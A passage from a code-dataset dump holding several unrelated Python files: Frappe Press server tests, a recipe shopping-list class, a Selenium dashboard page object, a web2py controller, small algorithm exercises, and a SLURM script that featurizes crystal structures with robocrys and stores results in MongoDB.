\"Running\"\n\tself.save()\n\n\ndef successful_sync(self: VirtualMachine):\n\tself.status = \"Running\"\n\tself.save()\n\tself.update_servers()\n\n\ndef successful_ping_ansible(self: BaseServer):\n\tcreate_test_ansible_play(\"Ping Server\", \"ping.yml\", self.doctype, self.name)\n\n\n@patch.object(VirtualMachineImage, \"client\", new=MagicMock())\n@patch.object(VirtualMachine, \"client\", new=MagicMock())\nclass TestAPIServer(FrappeTestCase):\n\tdef setUp(self):\n\t\tself.team = create_test_press_admin_team()\n\n\t\tself.app_plan = create_test_plan(\"Server\")\n\t\tself.db_plan = create_test_plan(\"Database Server\")\n\t\tself.cluster = create_test_cluster()\n\t\tcreate_test_proxy_server(cluster=self.cluster.name)\n\n\tdef tearDown(self):\n\t\tfrappe.set_user(\"Administrator\")\n\t\tfrappe.db.rollback()\n\n\tdef _get_doc_count(self, doctype: str, status: str, team: str):\n\t\treturn frappe.db.count(doctype, filters={\"status\": status, \"team\": team})\n\n\tdef test_create_new_server_creates_pending_server_and_db_server(self):\n\t\tcreate_test_virtual_machine_image(cluster=self.cluster, series=\"m\")\n\t\tcreate_test_virtual_machine_image(\n\t\t\tcluster=self.cluster, series=\"f\"\n\t\t) # call from here and not setup, so mocks work\n\t\tfrappe.set_user(self.team.user)\n\n\t\tservers_before = self._get_doc_count(\"Server\", \"Pending\", self.team.name)\n\t\tdb_servers_before = self._get_doc_count(\"Database Server\", \"Pending\", self.team.name)\n\n\t\tnew(\n\t\t\t{\n\t\t\t\t\"cluster\": self.cluster.name,\n\t\t\t\t\"db_plan\": self.db_plan.name,\n\t\t\t\t\"app_plan\": self.app_plan.name,\n\t\t\t\t\"title\": \"Test Server\",\n\t\t\t}\n\t\t)\n\n\t\tservers_after = self._get_doc_count(\"Server\", \"Pending\", self.team.name)\n\t\tdb_servers_after = self._get_doc_count(\"Database Server\", \"Pending\", self.team.name)\n\n\t\tself.assertEqual(servers_before + 1, servers_after)\n\t\tself.assertEqual(db_servers_before + 1, db_servers_after)\n\n\t@patch(\n\t\t\"press.press.doctype.press_job.press_job.frappe.enqueue_doc\",\n\t\tnew=foreground_enqueue_doc,\n\t)\n\t@patch.object(VirtualMachine, \"provision\", new=successful_provision)\n\t@patch.object(VirtualMachine, \"sync\", new=successful_sync)\n\t@patch.object(Ansible, \"run\", new=Mock())\n\t@patch.object(BaseServer, \"ping_ansible\", new=successful_ping_ansible)\n\tdef test_new_fn_creates_active_server_and_db_server_once_press_job_succeeds(self):\n\t\tcreate_test_virtual_machine_image(cluster=self.cluster, series=\"m\")\n\t\tcreate_test_virtual_machine_image(\n\t\t\tcluster=self.cluster, series=\"f\"\n\t\t) # call from here and not setup, so mocks work\n\t\tfrappe.set_user(self.team.user)\n\n\t\tservers_before = self._get_doc_count(\"Server\", \"Active\", self.team.name)\n\t\tdb_servers_before = self._get_doc_count(\"Database Server\", \"Active\", self.team.name)\n\n\t\tnew(\n\t\t\t{\n\t\t\t\t\"cluster\": self.cluster.name,\n\t\t\t\t\"db_plan\": self.db_plan.name,\n\t\t\t\t\"app_plan\": self.app_plan.name,\n\t\t\t\t\"title\": \"Test Server\",\n\t\t\t}\n\t\t)\n\n\t\tservers_after = self._get_doc_count(\"Server\", \"Active\", self.team.name)\n\t\tdb_servers_after = self._get_doc_count(\"Database Server\", \"Active\", self.team.name)\n\n\t\tself.assertEqual(servers_before + 1, servers_after)\n\t\tself.assertEqual(db_servers_before + 1, db_servers_after)\n","repo_name":"ahmedalmaghz/press-master","sub_path":"press/api/tests/test_server.py","file_name":"test_server.py","file_ext":"py","file_size_in_byte":4088,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"15038772191","text":"\nclass RecipesBook:\n def __init__(self, file_path: str):\n self.file_path = file_path\n self.cook_book = self._create_cook_book(self.file_path)\n\n def _create_cook_book(self, file_path):\n with open(file_path, encoding=\"utf=8\") as file:\n cook_book = {}\n while True:\n try:\n name_dish = file.readline().strip()\n amount_lines = int(file.readline())\n ingredients_list = []\n while amount_lines != 0:\n ingredient_list = file.readline().strip().split(\" | \")\n ingredients_list.append({\"ingredient_name\": ingredient_list[0], \"quantity\": int(ingredient_list[1]), \"measure\": ingredient_list[2]})\n amount_lines -= 1\n cook_book[name_dish] = ingredients_list\n file.readline()\n except:\n break\n return cook_book\n\n def get_shop_list_by_dishes(self, dishes: list, person_count: int) -> dict:\n ingredients_dict = {}\n for dish in dishes:\n try:\n for ingredient in self.cook_book[dish]:\n ingredient_name = ingredient['ingredient_name']\n quantity = ingredient['quantity'] * person_count\n measure = ingredient['measure']\n if ingredient_name in ingredients_dict:\n ingredients_dict[ingredient_name]['quantity'] += quantity\n else:\n ingredients_dict[ingredient_name] = {'quantity': quantity, 'measure': measure}\n except:\n print(f\"{dish} отсутствует в кулинарной книге! Ингредиенты для этого блюда не посчитаны!\")\n return ingredients_dict\n\n\nrecipes_file_path = \"recipes.txt\"\nrecipes_book = RecipesBook(recipes_file_path)\n\ndishes_list = ['Запеченный картофель', 'Чай', 'Омлет', 'Фахитос']\n\nprint(recipes_book.cook_book)\nprint(recipes_book.get_shop_list_by_dishes(dishes_list, 4))\n","repo_name":"Volleyboler/work_with_files_1","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2151,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"70113234118","text":"#!/usr/bin/env python3\n\"\"\" dashboard page object \"\"\"\nimport time\nfrom selenium.common.exceptions import TimeoutException\nfrom selenium_ui_test.pages.navbar import NavigationBarPage\n\n# can't circumvent long lines.. nAttr nLines\n# pylint: disable=line-too-long disable=too-many-instance-attributes disable=too-many-statements\n\n\nclass DashboardPage(NavigationBarPage):\n \"\"\"Class for Dashboard page\"\"\"\n\n def __init__(self, driver, cfg, enterprise):\n \"\"\"dashboardPage class initialization\"\"\"\n super().__init__(driver, cfg)\n self.check_server_package_name_id = \"enterpriseLabel\" if enterprise else \"communityLabel\"\n self.check_current_package_version_id = \"currentVersion\"\n self.check_current_username_id = \"//li[@id='userBar']//span[@class='toggle']\"\n self.check_current_db_id = \"//li[@id='dbStatus']/a[@class='state']\"\n self.check_db_status_id = \"//li[@id='healthStatus']/a[.='GOOD']\"\n self.check_cluster_status_id = '//*[@id=\"healthStatus\"]/a[2]'\n self.check_db_engine_id = \"nodeattribute-Engine\"\n self.check_db_uptime_id = \"/html//div[@id='nodeattribute-Uptime']\"\n self.check_system_resource_id = \"system-statistics\"\n self.check_system_metrics_id = \"metrics-statistics\"\n self.show_text = \"toggleView\"\n self.select_reload_btn_id = \"reloadMetrics\"\n self.metrics_download_id = \"downloadAs\"\n\n def check_server_package_name(self):\n \"\"\"checking server package version name\"\"\"\n check_server_package_name_sitem = self.locator_finder_by_id(self.check_server_package_name_id)\n print(\"Server Package: \", check_server_package_name_sitem.text)\n time.sleep(1)\n\n def check_current_package_version(self):\n \"\"\"checking current package version from the dashboard\"\"\"\n self.current_package_version()\n\n def check_current_username(self):\n \"\"\"checking current username from the dashboard\"\"\"\n check_current_username_sitem = self.locator_finder_by_xpath(self.check_current_username_id)\n print(\"Current User: \", check_current_username_sitem.text)\n time.sleep(1)\n\n def check_current_db(self):\n \"\"\"checking current database name from the dashboard\"\"\"\n check_current_db_sitem = self.locator_finder_by_xpath(self.check_current_db_id)\n print(\"Current DB: \", check_current_db_sitem.text)\n time.sleep(1)\n\n def check_db_status(self):\n \"\"\"checking current database status from the dashboard\"\"\"\n try:\n check_db_status_sitem = self.locator_finder_by_xpath(self.check_db_status_id)\n print(\"Current Status: \", check_db_status_sitem.text)\n time.sleep(1)\n except TimeoutException:\n node_sitem = self.locator_finder_by_xpath(self.check_cluster_status_id)\n print(\"Cluster Health: \", node_sitem.text)\n time.sleep(1)\n\n def check_db_engine(self):\n \"\"\"checking current database status from the dashboard\"\"\"\n check_db_engine_sitem = self.locator_finder_by_id(self.check_db_engine_id)\n print(\"Current Engine: \", check_db_engine_sitem.text)\n time.sleep(1)\n\n def check_db_uptime(self):\n \"\"\"checking current database uptime status from the dashboard\"\"\"\n check_db_uptime_sitem = self.locator_finder_by_xpath(self.check_db_uptime_id)\n print(\"DB Uptime: \", check_db_uptime_sitem.text)\n time.sleep(1)\n\n def check_responsiveness_for_dashboard(self):\n \"\"\"Checking LOG tab causes unresponsive UI (found in 3.8 server package\"\"\"\n self.check_ui_responsiveness()\n\n def check_system_resource(self):\n \"\"\"checking system resource tab from the dashboard\"\"\"\n try:\n check_system_resource_sitem = self.locator_finder_by_id(self.check_system_resource_id)\n check_system_resource_sitem.click()\n time.sleep(3)\n except TimeoutException as ex:\n print(\"FAIL: cound not find the system-statistics locator! \\n\" + str(ex))\n\n def check_distribution_tab(self):\n \"\"\"Checking distribution tab\"\"\"\n distribution = '//*[@id=\"subNavigationBar\"]/ul[2]/li[2]/a'\n distribution_sitem = self.locator_finder_by_xpath(distribution)\n distribution_sitem.click()\n time.sleep(3)\n\n def check_maintenance_tab(self):\n \"\"\"Checking maintenance tab\"\"\"\n maintenance = '//*[@id=\"subNavigationBar\"]/ul[2]/li[3]/a'\n maintenance_sitem = self.locator_finder_by_xpath(maintenance)\n maintenance_sitem.click()\n time.sleep(3)\n\n def check_system_metrics(self):\n \"\"\"checking system metrics tab from the dashboard\"\"\"\n if self.check_version_is_newer(\"3.8.0\"):\n check_system_metrics_sitem = self.locator_finder_by_id(self.check_system_metrics_id)\n check_system_metrics_sitem.click()\n time.sleep(1)\n\n print(\"scrolling the current page \\n\")\n self.scroll()\n\n # toggle view text to table and vice-versa\n print(\"Changing metrics tab to table view \\n\")\n\n text_view = self.locator_finder_by_id(self.show_text)\n text_view.click()\n time.sleep(3)\n\n print(\"Changing metrics tab to text view \\n\")\n table_view = self.locator_finder_by_id(self.show_text)\n table_view.click()\n time.sleep(3)\n\n # Reloading system metrics tab from the dashboard\n select_reload_btn_sitem = self.locator_finder_by_id(self.select_reload_btn_id)\n select_reload_btn_sitem.click()\n\n # Downloading metrics from the dashboard\n if self.webdriver.name == \"chrome\": # this will check browser name\n print(\"Downloading metrics has been disabled for the Chrome browser \\n\")\n else:\n metrics_download_sitem = self.locator_finder_by_id(self.metrics_download_id)\n metrics_download_sitem.click()\n time.sleep(3)\n # self.clear_download_bar()\n else:\n print(\"Metrics Tab not supported for the current package \\n\")\n","repo_name":"arangodb/release-test-automation","sub_path":"release_tester/selenium_ui_test/pages/dashboard_page.py","file_name":"dashboard_page.py","file_ext":"py","file_size_in_byte":6101,"program_lang":"python","lang":"en","doc_type":"code","stars":10,"dataset":"github-code","pt":"62"} +{"seq_id":"35270940002","text":"def liste():\n rows = db().select(db.reservations.ALL)\n return response.render('reservations/liste.html', dict(reservations=rows))\n\ndef ajout():\n affiche = db().select(db.affiches.ALL)\n utilisateur = db().select(db.auth_user.ALL)\n if request.method == 'POST':\n db.reservations.insert(\n nombre_places = request.vars.nombre_places,\n affiche_id = request.vars.affiche_id,\n utilisateur_id = request.vars.utilisateur_id\n )\n print(request.vars.affiche)\n print(request.vars.utilisateur)\n redirect(URL('reservations', 'liste'))\n return response.render('reservations/ajout.html',dict(affiches=affiche, utilisateurs=utilisateur))\n\ndef supprimer():\n id = request.vars.id\n db(db.films.id == id).delete()\n redirect(URL('reservations', 'liste'))","repo_name":"Maklewe/web2pyProject","sub_path":"controllers/reservations.py","file_name":"reservations.py","file_ext":"py","file_size_in_byte":825,"program_lang":"python","lang":"fr","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"73929768196","text":"# 점수 최빈수 구하기\n\nT = int(input())\n\nfor tc in range(1, T+1):\n N = int(input())\n num_list = list(map(int, input().split()))\n arr = [0]*101\n max_cnt = 0\n max_pt = 0\n for i in range(1000):\n arr[num_list[i]] += 1\n for i in range(101):\n if arr[i] >= max_cnt:\n max_cnt = arr[i]\n max_pt = i\n print(f'#{tc} {max_pt}')","repo_name":"dev-ojh/TIL","sub_path":"SWEA/D2/SWEA1204.py","file_name":"SWEA1204.py","file_ext":"py","file_size_in_byte":381,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"38655175202","text":"#UVA 13127 Bank Robbery\r\n\r\nfrom sys import stdin\r\nfrom heapq import heappop,heappush\r\n\r\nINF = float('inf')\r\n\r\ndef dijkstra(G):\r\n global queue, dist\r\n visited = [False for _ in range(len(G))]\r\n while len(queue) != 0:\r\n d, u = heappop(queue)\r\n if visited[u] == False:\r\n visited[u] = True\r\n for v, dv in G[u]:\r\n duv = d + dv\r\n if visited[v] == False and dist[v] > duv:\r\n dist[v] = duv\r\n heappush(queue,(duv, v))\r\n\r\ndef solve(G, banks, police):\r\n global dist, queue\r\n queue = []\r\n dist = [INF for _ in range(len(G))]\r\n\r\n for i in police:\r\n heappush(queue, (0, i))\r\n dist[i] = 0\r\n\r\n dijkstra(G)\r\n\r\n d = []\r\n for i in banks:\r\n d.append(dist[i])\r\n\r\n maximum, cont = max(d), 0\r\n temp = []\r\n for i in banks:\r\n if dist[i] == maximum:\r\n cont += 1\r\n temp.append(i)\r\n\r\n if maximum == INF:\r\n print(cont, end = \" \")\r\n print(\"*\")\r\n else:\r\n print(cont, end = \" \")\r\n print(maximum)\r\n\r\n temp.sort()\r\n for i in range(len(temp)):\r\n if i + 1 != len(temp):\r\n print(temp[i],end = ' ')\r\n else:\r\n print(temp[i])\r\n\r\ndef main():\r\n global queue, dist\r\n data = stdin.readline().strip()\r\n while data != \"\":\r\n N,M,B,P = map(int, data.split())\r\n G = [[] for i in range(N)]\r\n banks = []\r\n police = []\r\n for i in range(M):\r\n u, v, d = map(int,stdin.readline().split())\r\n G[u].append((v, d))\r\n G[v].append((u, d))\r\n\r\n banks = [int(i) for i in stdin.readline().split()]\r\n if P != 0:\r\n police = [int(i) for i in stdin.readline().split()]\r\n\r\n solve(G, banks, police)\r\n data = stdin.readline().strip()\r\n\r\nmain()\r\n","repo_name":"suribe06/UVa","sub_path":"bank.py","file_name":"bank.py","file_ext":"py","file_size_in_byte":1859,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"31928023267","text":"class Solution1:\n def rotate(self, nums: List[int], k: int) -> None:\n \"\"\"\n Do not return anything, modify nums in-place instead.\n \"\"\"\n \n \n tmp = [None] * len(nums)\n for i in range(len(nums)):\n tmp[(i+k)%len(nums)] = nums[i]\n \n nums[:] = tmp\n \n \nclass Solution2:\n def reverse(self, nums, beg, end):\n while(beg < end):\n nums[beg], nums[end] = nums[end], nums[beg]\n beg, end = beg + 1, end - 1\n \n def rotate(self, nums: List[int], k: int) -> None:\n \"\"\"\n Do not return anything, modify nums in-place instead.\n \"\"\"\n n = len(nums)\n k%=n\n \n self.reverse(nums, 0, n-1)\n self.reverse(nums, 0, k-1)\n self.reverse(nums, k, n-1)\n","repo_name":"utcsox/Leetcode-Solutions","sub_path":"Python/rotate-array.py","file_name":"rotate-array.py","file_ext":"py","file_size_in_byte":817,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"74828456836","text":"# average\n\ntotal = 0.0 # summe der eingaben\ncount = 0 # anzahl eingaben\n\nvalue = float(input(\"ganze positive zahlen eingeben (or -1 to EXIT)\"))\n\nwhile value != -1:\n count += 1\n total += value\n print(\"aktuelle summe: \", total)\n value = float(input(\"ganze positive zahlen eingeben (or -1 to EXIT)\"))\n\nif count == 0:\n print(\"Keine Eingaben gemacht!\")\n\nelse:\n mean = total / count\n print(\"Mittelwert der Eingaben: \", round(mean,2))","repo_name":"manuu1999/Pycharm_Projects","sub_path":"scr/exercise10.py","file_name":"exercise10.py","file_ext":"py","file_size_in_byte":452,"program_lang":"python","lang":"de","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"3131460217","text":"#!/usr/bin/env python3\n\n\ndef fibonacci(n):\n \"\"\" Return the nth number in the fibonacci sequence. \"\"\"\n\n fib_n0 = 0\n fib_n1 = 1\n\n iterations = (n - 1) / 2\n \n while iterations > 0:\n fib_n0 = fib_n0 + fib_n1\n fib_n1 = fib_n0 + fib_n1\n\n iterations-=1\n\n fibs = list((fib_n0, fib_n1))\n relative_n = n % 2 # nth number in series relative to number of iterations\n\n return fibs[relative_n]\n\n\ndef lucas(n):\n \"\"\" Return the nth number in the lucas sequence. \"\"\"\n\n luc_n0 = 2\n luc_n1 = 1\n\n iterations = (n - 1) / 2\n\n while iterations > 0:\n luc_n0 = luc_n0 + luc_n1\n luc_n1 = luc_n0 + luc_n1\n\n iterations-=1\n\n lucs = list((luc_n0, luc_n1))\n relative_n = n % 2 # nth number in series relative to number of iterations\n\n return lucs[relative_n]\n\n\ndef sum_series(n, n0=0, n1=1):\n \"\"\"\n Return the nth number in a summation series.\n \n :param n0: value of zeroth element in the series\n :param n1: value of the first element in the series\n \n if n0 == 0 and n1 == 1, the result is the Fibbonacci series\n\n if n0 == 2 and n1 == 1, the result is the Lucas series\n \"\"\"\n\n iterations = (n - 1) / 2\n\n while iterations > 0:\n n0 = n0 + n1\n n1 = n0 + n1\n\n iterations-=1\n\n ns = list((n0, n1))\n relative_n = n % 2 # nth number in series relative to number of iterations\n\n return ns[relative_n]\n\n\nif __name__ == '__main__':\n # Run some tests.\n assert fibonacci(0) == 0\n assert fibonacci(1) == 1\n assert fibonacci(2) == 1\n assert fibonacci(3) == 2\n assert fibonacci(4) == 3\n assert fibonacci(5) == 5\n assert fibonacci(6) == 8\n assert fibonacci(7) == 13\n\n assert lucas(0) == 2\n assert lucas(1) == 1\n\n assert lucas(4) == 7\n\n assert sum_series(5) == fibonacci(5)\n\n # Test if sum_series matched lucas.\n assert sum_series(5, 2, 1) == lucas(5)\n\n # My own tests\n assert fibonacci(7) == 13, \"The 8th value in the Fibonacci sequence should be 13\"\n assert lucas(7) == 29, \"The 13th value in the Fibonacci sequence should be 29\"\n assert sum_series(7) == 13, \"The 8th value in a sum series starting with 0 and 1 should be 13\"\n\n print(\"tests passed\")\n","repo_name":"UWPCE-PythonCert-ClassRepos/Wi2018-Classroom","sub_path":"students/kevin/session02/series.py","file_name":"series.py","file_ext":"py","file_size_in_byte":2220,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"62"} +{"seq_id":"25113674757","text":"import os\nimport random\nfrom time import time\nfrom uuid import uuid4\nimport pandas as pd\nimport submitit\nimport dill as pickle\nfrom robocrys.featurize.featurizer import RobocrysFeaturizer\nfrom tqdm import tqdm\nfrom pymatgen.core import Structure\nfrom datetime import datetime\nimport json\nimport requests\nimport ray\nimport pymongo\n\nimport numpy as np\n\n#########################\n# User-defined variables\n#########################\ndummy = False\ncollection_name = \"matbench-datasets\"\ndatabase_name = \"robocrystallographer\"\ndataSource = \"Cluster0\"\napp_name = \"data-cqjnk\"\ncluster_uri = \"cluster0.fyeompa\"\n\ncpus_per_task, partition, account = [12, \"lonepeak-guest\", \"owner-guest\"]\n# cpus_per_task, partition, account = [4, \"notchpeak-freecycle\", \"sparks\"]\n# cpus_per_task, partition, account = [20, \"notchpeak-guest\", \"owner-guest\"] # 32\n# cpus_per_task, partition, account = [20, \"ash-guest\", \"smithp-guest\"]\n# cpus_per_task, partition, account = [\n# 2,\n# \"notchpeak-shared-short\",\n# \"notchpeak-shared-short\",\n# ] # need to specify amount of memory, kind of a \"test\" qos\n\n# see also https://www.chpc.utah.edu/documentation/software/node-sharing.php\n#########################\n\nray.shutdown()\n\nwith open(\"training/secrets.json\", \"r\") as f:\n secrets = json.load(f)\n\n# use requests directly to avoid pickle issues with submitit\nMONGODB_API_KEY = secrets[\"MONGODB_API_KEY\"]\nusername = secrets[\"PYMONGO_USERNAME\"]\npassword = secrets[\"PYMONGO_PASSWORD\"]\n\nsession_id = str(uuid4())\n\nif dummy:\n tasks_structure = {\n \"matbench_phonons\": \"last phdos peak\",\n \"matbench_perovskites\": \"e_form\",\n # \"matbench_mp_gap\": \"gap pbe\",\n # \"matbench_mp_e_form\": \"e_form\",\n }\nelse:\n tasks_structure = {\n \"matbench_phonons\": \"last phdos peak\",\n \"matbench_perovskites\": \"e_form\",\n \"matbench_mp_gap\": \"gap pbe\",\n \"matbench_mp_e_form\": \"e_form\",\n }\n\n# functions\ndef chunks(lst, n):\n \"\"\"Yield successive n-sized chunks from lst.\"\"\"\n out = []\n for i in range(0, len(lst), n):\n # yield lst[i:i + n]\n out.append(lst[i : i + n])\n return out\n\n\ndef robofeaturize(cifstr):\n \"\"\"featurize a list of CIF strings using robycrys and assign ['failed'] for CIFs\n that produce an error\"\"\"\n featurizer = RobocrysFeaturizer({\"use_conventional_cell\": False, \"symprec\": 0.1})\n lbls = RobocrysFeaturizer().feature_labels()\n structure = Structure.from_str(cifstr, fmt=\"cif\")\n features = featurizer.featurize(structure)\n # convert numpy types to python types\n features = [float(f) if isinstance(f, np.float64) else f for f in features]\n features = [int(f) if isinstance(f, np.int64) else f for f in features]\n results = {lbl: features[j] for j, lbl in enumerate(lbls)}\n return results\n\n\nheaders = {\n \"Content-Type\": \"application/json\",\n \"Access-Control-Request-Headers\": \"*\",\n \"api-key\": MONGODB_API_KEY,\n}\n\n\nclass NpEncoder(json.JSONEncoder):\n \"\"\"https://stackoverflow.com/a/57915246/13697228\"\"\"\n\n def default(self, obj):\n if isinstance(obj, np.integer):\n return int(obj)\n if isinstance(obj, np.floating):\n return float(obj)\n if isinstance(obj, np.ndarray):\n return obj.tolist()\n return super(NpEncoder, self).default(obj)\n\n\n@ray.remote # comment for debugging\ndef mongodb_robofeaturize(parameters: dict):\n \"\"\"featurize a list of CIF strings using robycrys and assign ['failed'] for CIFs\n that produce an error\"\"\"\n cifstr = parameters[\"cif\"]\n\n client = pymongo.MongoClient(\n f\"mongodb+srv://{username}:{password}@{cluster_uri}.mongodb.net/?retryWrites=true&w=majority\" # noqa: E501\n )\n db = client[database_name]\n collection = db[collection_name]\n # results = collection.find_one({\"cif\": cifstr}) # EXPENSIVE (e.g., $0.10/function call) without an index!\n # if results is None:\n t0 = time()\n try:\n results = robofeaturize(cifstr)\n except Exception as e:\n results = {\"error\": str(e)}\n print(results)\n utc = datetime.utcnow()\n results = {\n **parameters,\n **results,\n \"dummy\": dummy,\n \"session_id\": session_id,\n \"timestamp\": utc.timestamp(),\n \"date\": str(utc),\n \"runtime\": time() - t0,\n }\n collection.insert_one(results)\n return results\n\n\ndef mongodb_robofeaturize_batch(parameters_list):\n os.environ[\"RAY_DISABLE_MEMORY_MONITOR\"] = \"1\"\n ray.init(ignore_reinit_error=True, log_to_driver=False, num_cpus=cpus_per_task)\n return ray.get(\n [\n mongodb_robofeaturize.remote(parameters) # comment for debugging\n # mongodb_robofeaturize(parameters) # uncomment for debugging\n for parameters in parameters_list\n ]\n )\n\n\n# SLURM/submitit commands\n##setup\nlog_folder = \"log_test/%j\"\nif dummy:\n walltime = 10\n chunksize = 5\nelse:\n walltime = int(np.round(120 / cpus_per_task)) + 5\n chunksize = 180\n\ndfs = []\nfor key in tqdm(tasks_structure.keys()):\n with open(f\"matbench_datasets/{key}_structures.pkl\", \"rb\") as f:\n df = pickle.load(f)\n if dummy:\n df = df.sample(n=10)\n dfs.append(df)\n del df\n\ndf = pd.concat(dfs)\ndf.drop_duplicates(subset=[\"cif\"], inplace=True)\n\n# to find this string, click connect to your MongoDB cluster on the website\n# also needed to go to \"Network Access\", click \"Add IP address\", click \"Allow access\n# from anywhere\", and add\nclient = pymongo.MongoClient(\n f\"mongodb+srv://{username}:{password}@{cluster_uri}.mongodb.net/?retryWrites=true&w=majority\" # noqa: E501\n)\ndb = client[database_name]\ncollection = db[collection_name]\n\nposts = collection.find({\"cif\": {\"$exists\": True}}, projection=[\"cif\"])\ncifs = [post[\"cif\"] for post in tqdm(posts)]\n\nmongo_df = pd.DataFrame(cifs, columns=[\"cif\"])\ndf = df[~df.cif.isin(mongo_df.cif)]\n\nrecords = df.to_dict(\"records\")\n\n# shuffle records\nrandom.shuffle(records)\n\n# # example record:\n# {\n# \"cif\": \"# generated using py...000000 1\\n\",\n# \"target\": 98.58577122703691,\n# \"task\": \"matbench_phonons\",\n# }\n\n# # uncomment for some debugging:\n# robofeaturize(records[0][\"cif\"])\n# mongodb_robofeaturize.remote(records[0])\n# mongodb_robofeaturize(records[0])\n# mongodb_robofeaturize_batch(records[:2])\n\n# split data into chunks\ncifstr_chunks = chunks(records, chunksize)\n\n##execution\nexecutor = submitit.AutoExecutor(folder=log_folder)\nexecutor.update_parameters(\n timeout_min=walltime,\n slurm_partition=partition,\n slurm_cpus_per_task=cpus_per_task,\n slurm_additional_parameters={\"ntasks\": 1, \"account\": account},\n)\n\n# sbatch array\njobs = executor.map_array(mongodb_robofeaturize_batch, cifstr_chunks)\n\n# save jobs as pkl in case you want to look back at log output\nwith open(f\"matbench_datasets/jobs/robofeat_jobs.pkl\", \"wb\") as f:\n pickle.dump(jobs, f)\n\n# comment this line if you want to submit all jobs at once, but you might run into\n# limits on the number of jobs\nresults = [job.result() for job in jobs]\n\nwith open(f\"matbench_datasets/jobs/robofeat_results.pkl\", \"wb\") as f:\n pickle.dump(results, f)\n\n1 + 1\n# %% Code Graveyard\n\n# def robofeaturize(structures):\n# \"\"\"featurize a list of CIF strings using robycrys and assign ['failed'] for CIFs that produce an error\"\"\"\n# featurizer = RobocrysFeaturizer({\"use_conventional_cell\": False, \"symprec\": 0.1})\n# nids = len(structures)\n# features = [None] * nids\n# for i in range(nids):\n# structure = structures[i]\n# try:\n# features[i] = featurizer.featurize(structure)\n# except:\n# print(\"failed ID: \" + str(i))\n# features[i] = [\"failed\"]\n# return features\n\n# df3 = df3.drop(\n# df3[df3[lbls[0]] == \"failed\"].index\n# ) # remove failed rows, lbls[0] is mineral_prototype as of 2021-05-27\n\n\n# jobs_list = []\n\n# # jobs_list.append(jobs)\n\n# num = random.randint(0, 1000)\n\n# with open(f\"matbench_datasets/jobs/robofeat_jobs_{num}.pkl\", \"wb\") as f:\n# pickle.dump(jobs_list, f)\n\n# with open(f\"matbench_datasets/jobs/robofeat_jobs_{num}.pkl\", \"rb\") as f:\n# jobs_list = pickle.load(f)\n\n# for i, key in enumerate(tqdm(tasks_structure.keys())):\n# with open(f\"matbench_datasets/{key}_structures.pkl\", \"rb\") as f:\n# df = pickle.load(f)\n# df[\"structure\"] = df[\"structure\"].apply(lambda x: x.to(fmt=\"cif\"))\n\n# # if dummy:\n# # df = df.head(10)\n\n# # jobs = jobs_list[i]\n\n# concatenation\n# njobs = len(jobs)\n# output = []\n# for i in range(njobs):\n# output.append(jobs[i].result())\n\n# # save features\n# fname = f\"matbench_datasets/{key}_robocrys_features\"\n# if dummy:\n# fname += \"_dummy\"\n# with open(fname + \".pkl\", \"wb\") as f:\n# pickle.dump(output, f)\n\n# # combine MP properties and robocrys features\n# lbls = RobocrysFeaturizer().feature_labels()\n# df2 = df[\"target\"]\n# df = pd.DataFrame(\n# [i if isinstance(i, list) else [i] for j in output for i in j], columns=lbls\n# ) # stack output from multiple jobs\n# df3 = pd.concat([df2, df], axis=1) # combine robocrys and MP props\n# df3[df3[lbls[0]] == \"failed\"] = np.nan\n\n# # save combined dataframe\n# # df = pd.DataFrame( output, columns=lbls )\n# fname = f\"matbench_datasets/{key}_robocrys_features\"\n# if dummy:\n# fname += \"_dummy\"\n# df3.to_csv(fname + \".csv\")\n\n\n# import random\n# import numpy as np\n# import pandas as pd\n# import pymongo\n\n# username = secrets[\"PYMONGO_USERNAME\"]\n# password = secrets[\"PYMONGO_PASSWORD\"]\n\n# to find this string, click connect to your MongoDB cluster\n# client = pymongo.MongoClient(\n# \"mongodb+srv://{username}:{password}@cluster0.fyeompa.mongodb.net/?retryWrites=true&w=majority\" # noqa: E501\n# )\n# db = client[\"robocrystallographer\"]\n# collection = db[\"matbench-datasets\"]\n\n# id = collection.insert_one(results).inserted_id # type: ignore\n\n\n# for key in tqdm(tasks_structure.keys()):\n\n# df[\"task\"] = key\n# df.drop_duplicates(subset=[\"cif\"], inplace=True)\n# records = df.to_dict(\"records\")\n\n\n# @ray.remote # comment for debugging\n# def mongodb_robofeaturize(parameters: dict, verbose=True):\n# \"\"\"featurize a list of CIF strings using robycrys and assign ['failed'] for CIFs\n# that produce an error\"\"\"\n# url_base = f\"https://data.mongodb-api.com/app/{app_name}/endpoint/data/v1/action/\"\n# insert_url = url_base + \"insertOne\"\n# find_url = url_base + \"findOne\"\n# cifstr = parameters[\"cif\"]\n# payload = json.dumps(\n# {\n# \"collection\": collection_name,\n# \"database\": database_name,\n# \"dataSource\": dataSource,\n# \"filter\": {\"cif\": cifstr},\n# }\n# )\n# response = requests.request(\"POST\", find_url, headers=headers, data=payload)\n# if response.status_code != 200:\n# raise ValueError(response.text)\n# results = response.json()[\"document\"]\n\n# if results is None:\n# t0 = time()\n# try:\n# results = robofeaturize(cifstr)\n# except Exception as e:\n# results = {\"error\": str(e)}\n# print(results)\n# utc = datetime.utcnow()\n# results = {\n# **parameters,\n# **results,\n# \"dummy\": dummy,\n# \"session_id\": session_id,\n# \"timestamp\": utc.timestamp(),\n# \"date\": str(utc),\n# \"runtime\": time() - t0,\n# }\n# payload = json.dumps(\n# {\n# \"collection\": collection_name,\n# \"database\": database_name,\n# \"dataSource\": dataSource,\n# \"document\": results,\n# },\n# cls=NpEncoder,\n# )\n# if verbose:\n# print(f\"Submitting {payload} to {insert_url}...\")\n\n# response = requests.request(\"POST\", insert_url, headers=headers, data=payload)\n# return 